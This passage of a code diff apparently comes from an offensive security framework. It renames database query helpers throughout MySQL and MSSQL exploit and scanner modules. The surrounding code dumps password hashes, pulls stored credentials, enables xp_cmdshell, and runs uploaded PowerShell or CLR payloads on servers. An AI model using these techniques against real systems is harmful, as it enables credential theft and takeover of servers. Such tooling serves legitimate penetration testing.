query(prefix+sql_query.chomp+suffix,true) if mssql_login_datastore end rescue Rex::ConnectionRefused, Rex::ConnectionTimeout print_error "Error connecting to server: #{$!}" diff --git a/modules/auxiliary/admin/mysql/mysql_enum.rb b/modules/auxiliary/admin/mysql/mysql_enum.rb index 05b390cce59e7..03ac49b4c27d6 100644 --- a/modules/auxiliary/admin/mysql/mysql_enum.rb +++ b/modules/auxiliary/admin/mysql/mysql_enum.rb @@ -69,7 +69,7 @@ def run #------------------------------------------------------- # getting all variables vparm = {} - res = mysql_query("show variables") || [] + res = query("show variables") || [] res.each do |row| # print_status(" | #{row.join(" | ")} |") vparm[row[0]] = row[1] @@ -110,13 +110,13 @@ def run #------------------------------------------------------- # Database selection query = "use mysql" - mysql_query(query) + query(query) # Account Enumeration # Enumerate all accounts with their password hashes print_status("Enumerating Accounts:") query = "select user, host, password from mysql.user" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tList of Accounts with Password Hashes:") res.each do |row| @@ -137,7 +137,7 @@ def run (ssl_type = 'ANY') or (ssl_type = 'X509') or (ssl_type = 'SPECIFIED')| - res = mysql_query(query) + res = query(query) if res.size > 0 print_status("\tThe following users can login using SSL:") res.each do |row| @@ -146,7 +146,7 @@ def run end end query = "select user, host from mysql.user where Grant_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have GRANT Privilege:") res.each do |row| @@ -155,7 +155,7 @@ def run end query = "select user, host from mysql.user where Create_user_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have CREATE USER Privilege:") res.each do |row| @@ -163,7 +163,7 @@ def run end end query = "select user, host from mysql.user where Reload_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have RELOAD Privilege:") res.each do |row| @@ -171,7 +171,7 @@ def run end end query = "select user, host from mysql.user where Shutdown_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have SHUTDOWN Privilege:") res.each do |row| @@ -179,7 +179,7 @@ def run end end query = "select user, host from mysql.user where Super_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have SUPER Privilege:") res.each do |row| @@ -187,7 +187,7 @@ def run end end query = "select user, host from mysql.user where FILE_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have FILE Privilege:") res.each do |row| @@ -195,7 +195,7 @@ def run end end query = "select user, host from mysql.user where Process_priv = 'Y'" - res = mysql_query(query) + res = query(query) if res and res.size > 0 print_status("\tThe following users have PROCESS Privilege:") res.each do |row| @@ -210,7 +210,7 @@ def run (Delete_priv = 'Y') or (Create_priv = 'Y') or (Drop_priv = 'Y')| - res = mysql_query(queryinmysql) + res = query(queryinmysql) if res and res.size > 0 print_status("\tThe following accounts have privileges to the mysql database:") res.each do |row| @@ -221,7 +221,7 @@ def run # Anonymous Account Check queryanom = "select user, host from mysql.user where user = ''" - res = mysql_query(queryanom) + res = query(queryanom) if res and res.size > 0 print_status("\tAnonymous Accounts are Present:") res.each do |row| @@ -231,7 +231,7 @@ def run # Blank Password Check queryblankpass = "select user, host, password from mysql.user where length(password) = 0 or password is null" - res = mysql_query(queryblankpass) + res = query(queryblankpass) if res and res.size > 0 print_status("\tThe following accounts have empty passwords:") res.each do |row| @@ -241,7 +241,7 @@ def run # Wildcard host querywildcrd = 'select user, host from mysql.user where host = "%"' - res = mysql_query(querywildcrd) + res = query(querywildcrd) if res and res.size > 0 print_status("\tThe following accounts are not restricted by source:") res.each do |row| diff --git a/modules/auxiliary/admin/mysql/mysql_sql.rb b/modules/auxiliary/admin/mysql/mysql_sql.rb index ce2ad10cff07d..bb861ee45d4ab 100644 --- a/modules/auxiliary/admin/mysql/mysql_sql.rb +++ b/modules/auxiliary/admin/mysql/mysql_sql.rb @@ -45,7 +45,7 @@ def run end print_status("Sending statement: '#{datastore['SQL']}'...") - res = mysql_query(datastore['SQL']) || [] + res = query(datastore['SQL']) || [] res.each do |row| print_status(" | #{row.join(" | ")} |") end diff --git a/modules/auxiliary/gather/lansweeper_collector.rb b/modules/auxiliary/gather/lansweeper_collector.rb index 4649005849e71..99c7c9e27d10b 100644 --- a/modules/auxiliary/gather/lansweeper_collector.rb +++ b/modules/auxiliary/gather/lansweeper_collector.rb @@ -139,7 +139,7 @@ def run unless mssql_login_datastore fail_with(Failure::NoAccess, 'Login failed. Check credentials.') end - result = mssql_query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false) + result = query("select Credname, Username, Password from #{datastore['DATABASE']}.dbo.tsysCredentials WHERE LEN(Password)>64", false) if result[:errors] print_error("SQL Query returned error: #{result[:errors].first}") diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index 452cc0d6a2a28..56c01ae2887dc 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -61,7 +61,7 @@ def run_host(ip) } login_data.merge!(service_data) - is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] + is_sysadmin = query(mssql_is_sysadmin())[:rows][0][0] unless is_sysadmin == 0 login_data[:access_level] = 'admin' @@ -70,10 +70,10 @@ def run_host(ip) create_credential_login(login_data) # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) - instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\') + instance_info = query(mssql_enumerate_servername())[:rows][0][0].split('\\') instancename = instance_info[1] || instance_info[0] print_status("Instance Name: #{instancename.inspect}") - version = mssql_query(mssql_sql_info())[:rows][0][0] + version = query(mssql_sql_info())[:rows][0][0] version_year = version.split('-')[0].slice(/\d\d\d\d/) unless is_sysadmin == 0 @@ -153,7 +153,7 @@ def report_hashes(mssql_hashes, version_year) # Grabs the user tables depending on what Version of MSSQL # The queries are different between 2k and 2k/2k8 def mssql_hashdump(version_year) - is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] + is_sysadmin = query(mssql_is_sysadmin())[:rows][0][0] if is_sysadmin == 0 print_error("The provided credentials do not have privileges to read the password hashes") @@ -162,10 +162,10 @@ def mssql_hashdump(version_year) case version_year when "2000" - results = mssql_query(mssql_2k_password_hashes())[:rows] + results = query(mssql_2k_password_hashes())[:rows] when "2005", "2008", "2012", "2014" - results = mssql_query(mssql_2k5_password_hashes())[:rows] + results = query(mssql_2k5_password_hashes())[:rows] end return results diff --git a/modules/auxiliary/scanner/mssql/mssql_login.rb b/modules/auxiliary/scanner/mssql/mssql_login.rb index 8b8713548014a..6b85f382197a4 100644 --- a/modules/auxiliary/scanner/mssql/mssql_login.rb +++ b/modules/auxiliary/scanner/mssql/mssql_login.rb @@ -133,7 +133,7 @@ def run_host(ip) def session_setup(result, client) return unless (result && client) rstream = client.sock - my_session = Msf::Sessions::MSSQL.new(rstream, { client: client }) # is cwd right? + my_session = Msf::Sessions::MSSQL.new(rstream, { client: client }) merging = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, diff --git a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb index b44036d8095e9..d6df9d66b0eca 100644 --- a/modules/auxiliary/scanner/mssql/mssql_schemadump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_schemadump.rb @@ -36,11 +36,11 @@ def run_host(ip) end # Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) - instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\') + instance_info = query(mssql_enumerate_servername())[:rows][0][0].split('\\') instancename = instance_info[1] || instance_info[0] print_status("Instance Name: #{instancename.inspect}") - version = mssql_query(mssql_sql_info())[:rows][0][0] + version = query(mssql_sql_info())[:rows][0][0] output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n" # Grab all the DB schema and save it as notes @@ -106,19 +106,19 @@ def get_mssql_schema # Gets all of the Databases on this Instance def get_db_names - results = mssql_query(mssql_db_names())[:rows] + results = query(mssql_db_names())[:rows] return results end # Gets all the table names for the given DB def get_tbl_names(db_name) - results = mssql_query("SELECT name,id FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows] + results = query("SELECT name,id FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows] return results end # TODO: This should be split up, I fear nil problems in these query/response parsings def get_columns(db_name, table_id) - results = mssql_query("Select syscolumns.name,systypes.name,syscolumns.length from #{db_name}..syscolumns JOIN #{db_name}..systypes ON syscolumns.xtype=systypes.xtype WHERE syscolumns.id=#{table_id}")[:rows] + results = query("Select syscolumns.name,systypes.name,syscolumns.length from #{db_name}..syscolumns JOIN #{db_name}..systypes ON syscolumns.xtype=systypes.xtype WHERE syscolumns.id=#{table_id}")[:rows] return results end end diff --git a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb index 590bfcc4ece2b..d6b09f3a16a54 100644 --- a/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.rb @@ -167,7 +167,7 @@ def run_host(ip) def dump_hashes # Grabs the username and password hashes and stores them as loot - res = mysql_query("SELECT user,password from mysql.user") + res = query("SELECT user,password from mysql.user") if res.nil? print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table") return diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index 54b3468324f26..179477edb63a3 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -65,12 +65,12 @@ def run_host(ip) return end - res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';") + res = query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';") table_exists = (res.size == 1) if !table_exists vprint_status("Table doesn't exist so creating it") - mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);") + query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);") end file = File.new(datastore['FILE_LIST'], "r") @@ -81,7 +81,7 @@ def run_host(ip) if !table_exists vprint_status("Cleaning up the temp table") - mysql_query("DROP TABLE " + datastore['TABLE_NAME']) + query("DROP TABLE " + datastore['TABLE_NAME']) end end diff --git a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb index d0bb794800253..d4841c0dad870 100644 --- a/modules/auxiliary/scanner/mysql/mysql_hashdump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_hashdump.rb @@ -71,9 +71,9 @@ def run_host(ip) # Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'. if version[0..2].to_f > 5.6 - res = mysql_query("SELECT user,authentication_string from mysql.user") + res = query("SELECT user,authentication_string from mysql.user") else - res = mysql_query("SELECT user,password from mysql.user") + res = query("SELECT user,password from mysql.user") end if res.nil? diff --git a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb index 981bef6b70d41..93e66dbf61dfd 100644 --- a/modules/auxiliary/scanner/mysql/mysql_schemadump.rb +++ b/modules/auxiliary/scanner/mysql/mysql_schemadump.rb @@ -66,7 +66,7 @@ def run_host(ip) def get_schema mysql_schema=[] - res = mysql_query("show databases") + res = query("show databases") if res.size > 0 res.each do |row| next if row[0].nil? @@ -106,7 +106,7 @@ def get_schema def get_tbl_names(dbname) tables=[] - res = mysql_query("SHOW tables from #{dbname}") + res = query("SHOW tables from #{dbname}") if res.size > 0 res.each do |row| next if row[0].nil? @@ -120,7 +120,7 @@ def get_tbl_names(dbname) def get_columns(db_name,tbl_name) tables=[] - res = mysql_query("desc #{db_name}.#{tbl_name}") + res = query("desc #{db_name}.#{tbl_name}") if res.size > 0 res.each do |row| next if row[0].nil? diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 8338a28255092..82f4dcc6832c7 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -254,7 +254,7 @@ def check # since we need to have credentials for this vuln, we just login and run a query # to get the version information - if not (version = mssql_query_version()) + if not (version = query_version()) return Exploit::CheckCode::Safe end print_status("@@version returned:\n\t" + version) @@ -277,7 +277,7 @@ def exploit if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") - version = mssql_query_version + version = query_version fail_with(Failure::NoAccess, "Unable to retrieve version information") if not version if (version =~ /8\.00\.194/) @@ -379,7 +379,7 @@ def exploit fail_with(Failure::NoAccess, "Unable to log in!") end begin - mssql_query(runme, datastore['VERBOSE']) + query(runme, datastore['VERBOSE']) rescue ::Errno::ECONNRESET, EOFError print_error("Error: #{$!}") end @@ -443,7 +443,7 @@ def mssql_encode_string(str) end - def mssql_query_version + def query_version begin logged_in = mssql_login_datastore rescue ::Rex::ConnectionError, ::Errno::ECONNRESET, ::Errno::EINTR @@ -453,7 +453,7 @@ def mssql_query_version if !logged_in fail_with(Failure::NoAccess, "Invalid SQL Server credentials") end - res = mssql_query("select @@version", datastore['VERBOSE']) + res = query("select @@version", datastore['VERBOSE']) disconnect return nil if not res diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index 3f46565f668fe..ca44f5d5260f4 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -256,7 +256,7 @@ def check # since we need to have credentials for this vuln, we just login and run a query # to get the version information - version = mssql_query_version + version = query_version unless version return Exploit::CheckCode::Safe end @@ -280,7 +280,7 @@ def exploit if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") - version = mssql_query_version + version = query_version fail_with(Failure::NoAccess, "Unable to get version!") if not version if (version =~ /8\.00\.194/) @@ -380,7 +380,7 @@ def exploit # go! print_status('The SQL Server will probably die after exploitation. Follow the "POSTEXPLOITATION" instructions in the README file') begin - mssql_query(runme, datastore['VERBOSE']) + query(runme, datastore['VERBOSE']) rescue ::Errno::ECONNRESET, EOFError print_error("Error: #{$!}") end @@ -444,13 +444,13 @@ def mssql_encode_string(str) end - def mssql_query_version + def query_version delay = 5 # Let's first check that we can reach the host with no problems t = Time.now - res = mssql_query("select @@version",datastore['VERBOSE']) + res = query("select @@version",datastore['VERBOSE']) response_time = Time.now-t if (response_time > delay) return nil @@ -460,7 +460,7 @@ def mssql_query_version versions = %w[8.00.194 8.00.384 8.00.534 8.00.760 8.00.2039 9.00.1399.06 9.00.2047.00 9.00.3042.00] versions.each_with_index { |version,i| t = Time.now - res = mssql_query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE']) + res = query("if ((select PATINDEX('%#{version}%', @@version))>0)WAITFOR DELAY '00:00:#{delay.to_s}'",datastore['VERBOSE']) response_time = Time.now-t if (response_time > delay) return version diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 313c14d07b61e..3bd2681d79189 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -74,7 +74,7 @@ def check end def get_sql_version_string - mssql_query("select @@version", false)[:rows].first[0] + query("select @@version", false)[:rows].first[0] end def get_sql_architecture(sql_version_string) @@ -96,7 +96,7 @@ def get_exploit_version(sql_version_string) end def set_trustworthy(on) - result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) + result = query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) unless result[:errors].empty? result[:errors].each do |err| vprint_error(err) @@ -107,7 +107,7 @@ def set_trustworthy(on) def is_trustworthy # SQLi in MSF!! OMG! - result = mssql_query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) + result = query("SELECT CASE is_trustworthy_on WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.databases WHERE name ='#{datastore['DATABASE']}'", false) result[:rows][0] == 'ON' end @@ -118,7 +118,7 @@ def enable_clr(enable) EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; RECONFIGURE; ^ - result = mssql_query(query, false) + result = query(query, false) unless result[:errors].empty? result[:errors].each do |err| vprint_error(err) @@ -128,7 +128,7 @@ def enable_clr(enable) end def is_clr_enabled - result = mssql_query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) + result = query("SELECT CASE value WHEN 1 THEN 'ON' ELSE 'OFF' END FROM sys.configurations WHERE name = 'clr enabled'", false) result[:rows][0] == 'ON' end @@ -184,26 +184,26 @@ def exploit query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') - mssql_query(query, false) + query(query, false) proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) param_name = Rex::Text.rand_text_alpha(rand(4) + 8) query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') - mssql_query(query, false) + query(query, false) # Generate the base64 encoded payload b64payload = Rex::Text.encode_base64(payload.encoded) query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'" print_status('Executing the payload ...') - mssql_query(query, false) + query(query, false) print_status('Removing stored procedure ...') - mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false) + query("DROP PROCEDURE [dbo].[#{proc_name}]", false) print_status('Removing assembly ...') - mssql_query("DROP ASSEMBLY [#{asm_name}]", false) + query("DROP ASSEMBLY [#{asm_name}]", false) unless clr_enabled print_status('Restoring CLR setting ...') diff --git a/modules/exploits/windows/mssql/mssql_linkcrawler.rb b/modules/exploits/windows/mssql/mssql_linkcrawler.rb index a8dc959508e56..9489327cf3b16 100644 --- a/modules/exploits/windows/mssql/mssql_linkcrawler.rb +++ b/modules/exploits/windows/mssql/mssql_linkcrawler.rb @@ -121,7 +121,7 @@ def exploit # Get configuration information from the database server sql = query_builder(server["path"].first,"",0,versionQuery) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore parse_results = result[:rows] parse_results.each { |s| server["name"] = s[0] @@ -157,7 +157,7 @@ def exploit print_status("-------------------------------------------------") execute = "select srvname from master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server'" sql = query_builder(server["path"].first,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore result[:rows].each {|name| name.each {|name| @@ -169,7 +169,7 @@ def exploit # Get configuration information from the linked server sql = query_builder(temppath,"",0,versionQuery) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore # Add newly aquired db servers to the masterlist, but don't add them if the link is broken or already exists if result[:errors].empty? and result[:rows] != nil then @@ -390,13 +390,13 @@ def enable_xp_cmdshell(path,name,shelled) # Check if "show advanced options" is enabled execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'show advanced options'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore saoOrig = result[:rows].pop.pop # Check if "xp_cmdshell" is enabled execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore xpcmdOrig = result[:rows].pop.pop # Try blindly to enable "xp_cmdshell" on the linked server @@ -408,20 +408,20 @@ def enable_xp_cmdshell(path,name,shelled) # Enabling show advanced options and xp_cmdshell execute = "sp_configure 'show advanced options',1;reconfigure" sql = query_builder_rpc(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore end # Enabling xp_cmdshell print_status("\t - xp_cmdshell is not enabled on " + name + "... Trying to enable") execute = "sp_configure 'xp_cmdshell',1;reconfigure" sql = query_builder_rpc(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore end # Verifying that xp_cmdshell is now enabled (could be unsuccessful due to server policies, total removal etc.) execute = "select cast(value_in_use as int) FROM sys.configurations WHERE name = 'xp_cmdshell'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore xpcmdNow = result[:rows].pop.pop if xpcmdNow == 1 or xpcmdOrig == 1 @@ -460,12 +460,12 @@ def enable_xp_cmdshell(path,name,shelled) print_status("\t - Disabling xp_cmdshell on " + name) execute = "sp_configure 'xp_cmdshell',0;reconfigure" sql = query_builder_rpc(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore end if saoOrig == 0 and xpcmdNow == 1 execute = "sp_configure 'show advanced options',0;reconfigure" sql = query_builder_rpc(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore end end @@ -510,19 +510,19 @@ def powershell_upload_exec(path) mytext_64.scan(/.{1,2500}/).each {|part| execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Write \"--#{linenum}--#{part}\" >> %TEMP%\\#{rand_filename}\"'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore linenum = linenum+1 } # Remove duplicate lines from temp file and write to new file execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{rand_filename}| get-unique > %TEMP%\\#{var_duplicates}\"'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore # Remove tracking tags from lines execute = "select 1;exec master..xp_cmdshell 'powershell -C \"gc %TEMP%\\#{var_duplicates} | Foreach-Object {$_ -replace \\\"--.*--\\\",\\\"\\\"} | Set-Content %TEMP%\\#{rand_filename}\"'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore # Used base64 encoded powershell command so that we could use -noexit and avoid parsing errors # If running on 64bit system, 32bit powershell called from syswow64 @@ -538,10 +538,10 @@ def powershell_upload_exec(path) # Execute the playload print_status("Executing payload...") - result = mssql_query(sql, false) if mssql_login_datastore + result = query(sql, false) if mssql_login_datastore # Remove payload data from the target server execute = "select 1; EXEC master..xp_cmdshell 'powershell -C \"Remove-Item %TEMP%\\#{rand_filename}\";powershell -C \"Remove-Item %TEMP%\\#{var_duplicates}\"'" sql = query_builder(path,"",0,execute) - result = mssql_query(sql,false) + result = query(sql,false) end end diff --git a/modules/exploits/windows/mssql/mssql_payload.rb b/modules/exploits/windows/mssql/mssql_payload.rb index cc3226876d6a0..df2d89c4df100 100644 --- a/modules/exploits/windows/mssql/mssql_payload.rb +++ b/modules/exploits/windows/mssql/mssql_payload.rb @@ -73,7 +73,7 @@ def check return Exploit::CheckCode::Detected end - mssql_query("select @@version", true) + query("select @@version", true) if mssql_is_sysadmin vprint_good "User #{datastore['USERNAME']} is a sysadmin" Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index 782516c4eb1b1..4bed87588cbe3 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -63,7 +63,7 @@ def query(q) rows = [] begin - res = mysql_query(q) + res = query(q) return rows if not res res.each_hash do |row| rows << row diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb index eea229be6f25f..f91114ed901ca 100644 --- a/modules/exploits/windows/mysql/mysql_start_up.rb +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -69,7 +69,7 @@ def query(q) rows = [] begin - res = mysql_query(q) + res = query(q) return rows unless res res.each_hash do |row| rows << row diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index b978274c994dd..6f22d414832d8 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -111,7 +111,7 @@ def mysql_upload_binary(bindata, path) tmp = mysql_get_temp_dir p = bindata.unpack("H*")[0] dest = tmp + path - mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'") + query("SELECT 0x#{p} into DUMPFILE '#{dest}'") return true end diff --git a/spec/lib/msf/base/sessions/mssql_spec.rb b/spec/lib/msf/base/sessions/mssql_spec.rb index 4fc8344c57982..0adde9e32776b 100644 --- a/spec/lib/msf/base/sessions/mssql_spec.rb +++ b/spec/lib/msf/base/sessions/mssql_spec.rb @@ -1,18 +1,18 @@ # frozen_string_literal: true require 'spec_helper' -require 'rex/post/mssql/ui/console/command_dispatcher/core' +require 'rex/post/mssql' RSpec.describe Msf::Sessions::MSSQL do let(:rstream) { instance_double(::Rex::Socket) } let(:client) { instance_double(Rex::Proto::MSSQL::Client) } - let(:opts) { { client: client, cwd: 'name' } } + let(:opts) { { client: client, database_name: 'name' } } let(:console_class) { Rex::Post::MSSQL::Ui::Console } let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) } let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) } let(:name) { 'mssql' } let(:query_result) do - { rows: [['mssql']]} + { rows: [['mssql']] } end let(:log_source) { "session_#{name}" } let(:type) { 'MSSQL' } @@ -26,12 +26,20 @@ console.disable_output = true console end + let(:initial_connection_info) do + { + envs: [ + { type: 1, old: 'old_db', new: 'new_db' } + ] + } + end before(:each) do allow(user_input).to receive(:intrinsic_shell?).and_return(true) allow(user_input).to receive(:output=) allow(client).to receive(:sock).and_return(rstream) - allow(client).to receive(:mssql_query).with('SELECT DB_NAME();').and_return(query_result) + allow(client).to receive(:initial_connection_info).and_return(initial_connection_info) + allow(client).to receive(:query).with('SELECT DB_NAME();').and_return(query_result) allow(rstream).to receive(:peerinfo).and_return(peer_info) end diff --git a/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb index d16b8ab3a7b55..b13eb9492706b 100644 --- a/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/rex/post/mssql/ui/console/command_dispatcher/core_spec.rb @@ -9,7 +9,7 @@ let(:query_result) do { rows: [['mssql']]} end - let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client, cwd: 'mssql' }) } + let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client }) } let(:address) { '192.0.2.1' } let(:port) { '1433' } let(:peer_info) { "#{address}:#{port}" } @@ -18,10 +18,18 @@ console.disable_output = true console end + let(:initial_connection_info) do + { + envs: [ + { type: 1, old: 'old_db', new: 'new_db' } + ] + } + end before(:each) do allow(client).to receive(:sock).and_return(rstream) - allow(client).to receive(:mssql_query).with('SELECT DB_NAME();').and_return(query_result) + allow(client).to receive(:query).with('SELECT DB_NAME();').and_return(query_result) + allow(client).to receive(:initial_connection_info).and_return(initial_connection_info) allow(rstream).to receive(:peerinfo).and_return(peer_info) allow(session).to receive(:client).and_return(client) allow(session).to receive(:console).and_return(console)